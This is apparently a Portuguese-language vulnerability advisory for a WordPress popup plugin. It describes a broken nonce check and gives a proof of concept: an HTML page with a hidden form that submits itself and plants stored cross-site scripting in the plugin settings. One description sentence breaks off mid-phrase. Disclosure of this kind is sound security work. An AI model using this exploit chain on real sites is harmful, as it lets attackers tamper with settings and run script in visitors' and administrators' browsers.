CVE-2026-65540

Popup para CF7 com Sweet Alert <= 1.6.5 - Cross-Site Request Forgery

URL do Plugin

https://wordpress.org/plugins/cf7-sweet-alert-popup/

Descrição

O manipulador de configurações do plugin contém um erro de lógica na sua verificação de nonce, desativando toda a proteção CSRF. Um atacante não autenticado pode explorar isso induzindo um administrador autenticado a visitar uma página maliciosa com um formulário oculto de envio automático, modificando arbitrariamente as configurações do plugin. Os valores enviados são armazenados sem sanitização e injetados literalmente em um bloco

POC

1. Hospede a seguinte página HTML em um servidor separado:

<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>

<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
      method="POST" id="csrf" target="hiddenframe">
  <input name="cf7simplePopupWidth" value="500;alert(document.domain)">
  <input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Faça login no WordPress como administrador
3. Visite a página maliciosa
4. (Opcional) Navegue até http://TARGET/wp-admin/admin.php?page=cf7-simplepopup — confirme que o campo Width agora contém 500;alert(document.domain)
5. Visite qualquer página do frontend, alert(document.domain) é executado no navegador confirmando o XSS armazenado